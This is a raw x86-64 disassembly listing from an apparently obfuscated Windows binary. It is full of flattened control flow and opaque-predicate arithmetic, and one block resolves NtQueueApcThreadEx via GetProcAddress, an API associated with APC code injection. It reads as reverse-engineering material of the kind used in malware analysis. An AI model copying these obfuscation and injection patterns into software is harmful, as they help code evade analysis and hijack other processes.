mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
and dl, r10b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
or cl, r8b
and r8b, r10b
and dl, r9b
or dl, r8b
xor r10b, r9b
xor cl, 1
or cl, r10b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov r8d, eax
xor r8b, 1
mov ebx, eax
and bl, r8b
and dl, cl
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, dl
test r8b, 1
mov ecx, 0x5dc0d13f
mov ebp, 0x9b681418
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x5dc0d13f
jmp 0x14013dd20
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xf13378fc
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ebp, ebx
and ebp, 0x4780e90c
mov edx, edi
and edx, 0xb87f16f3
or edx, ebp
mov ebp, edx
xor ebp, 0xb81110c0
xor edx, 0x480810c
mov ecx, ebx
or ecx, 0x4ee873e
or edx, 1
and edx, 0x4ee873f
and ebp, 0xfb1178c0
or ebp, edx
and ecx, 0x4ee873f
xor ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa173c712
and ecx, 0x5e8c38ed
or ecx, ebp
and edi, 0xa173c712
and ebx, 0x5e8c38ed
or ebx, edi
xor ebx, ecx
xor edx, ebx
test edx, ebx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
xor dl, 1
xor al, 1
mov ebx, edx
or bl, al
xor al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0xa85e1df3
mov ebp, 0x8d75dd6
cmovne ecx, ebp
test bl, 1
mov eax, 0xa85e1df3
cmovne ecx, eax
test dl, 1
cmove ecx, ebp
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0xa46fbf33
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x952b7f07
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x3000098
mov ebp, ebx
and ebp, 0xe0a13700
or ebp, edx
xor ebp, 0xe0a13700
mov edx, ebx
xor edx, 0xe3a13798
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x1c5ec866
and edx, 0xe3a13799
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x69d6d13e
and edx, 0x96292ec1
or edx, ebp
and ebx, 0x69d6d13e
and ecx, 0x96292ec1
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor dl, 1
xor al, 1
mov ebx, edx
or bl, al
xor al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xcc2b0366
mov ecx, 0x83c6a0f1
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xcc2b0366
cmovne ecx, eax
test bl, 1
jmp 0x14013e66d
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x41e4fff2
and edx, 0xbe1b000d
or edx, ecx
mov ecx, edx
xor ecx, 0xb4080008
xor edx, 0x16020b2
and edx, 0xb7320b7
and ecx, 0xf48cdf48
or ecx, edx
mov edx, ecx
xor edx, 0xb7320b7
mov ebp, ecx
xor ebp, 0xb7320b6
and ebp, edx
xor ecx, 0xf48cdf48
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc56f5c0b
and ebp, 0x3a90a3f4
or ebp, edi
or ecx, ebx
and ebx, 0xc56f5c0b
and edx, 0x3a90a3f4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x709e6b99
and ecx, 0x8f619466
or ecx, edx
mov ebx, ecx
xor ebx, 0x4401064
xor ecx, 0x900
or ebp, 0x7ecd1b64
mov edx, ebp
not edx
or ecx, 0x80222019
and ecx, 0x8a232919
and ebx, 0x74cc1264
or ebx, ecx
and ebp, 0x8a232919
and edx, 0x110c482
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x8132e49b
and edx, 0x7ecd1b64
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5e00b487
and edx, 0xa1ff4b78
or edx, ebp
xor edx, 0x5e00b487
xor ecx, edx
test ecx, edx
setne r8b
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, ecx
or bl, al
xor bl, 1
xor cl, dl
or dl, r8b
xor dl, 1
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
mov ebx, eax
xor bl, r8b
or al, r8b
xor al, 1
or al, bl
mov ebx, eax
xor bl, cl
xor cl, 1
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and dl, bl
and al, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov r8d, edx
xor r8b, 1
and r8b, al
xor al, 1
and al, dl
or al, r8b
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x183b5718
mov ebp, 0x4d802ba
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x183b5718
cmove edx, eax
mov ecx, edx
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x859b601b
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x194c2982
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x280c0c00
mov ebp, eax
and ebp, 0x41604016
or ebp, edx
xor ebp, 0x41604016
mov edx, eax
and edx, 0x9693b3e9
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x9693b3e8
and edx, 0x696c4c17
or edx, ebp
not edx
and ecx, 0x9510227a
and eax, 0x6aefdd85
or eax, ecx
xor eax, 0x6aefdd85
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
sete cl
setne al
cmp dword [0x14024b6e4], 9
setg dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, edx
xor bl, cl
not bl
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2290bb11
mov ebp, 0x3b327253
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x2290bb11
cmovne ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xf1273ecf
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x1442
and ecx, 0xf1272a8d
or ecx, ebx
xor ecx, 0xf1272a8d
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xed8c131
and edx, 0xf1273ece
or edx, ecx
not edx
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, r9d
xor dl, r8b
and dl, r9b
mov ecx, edx
xor cl, 1
and dl, al
and cl, bl
or cl, dl
or bl, r9b
xor al, r8b
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
xor al, cl
mov ebx, ecx
xor bl, 1
or bl, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x2b8098f7
mov eax, 0x27a02dd7
cmovne ecx, eax
test bl, 1
mov ebp, 0x2b8098f7
cmovne ecx, ebp
jmp 0x14013c800
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14019f730
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret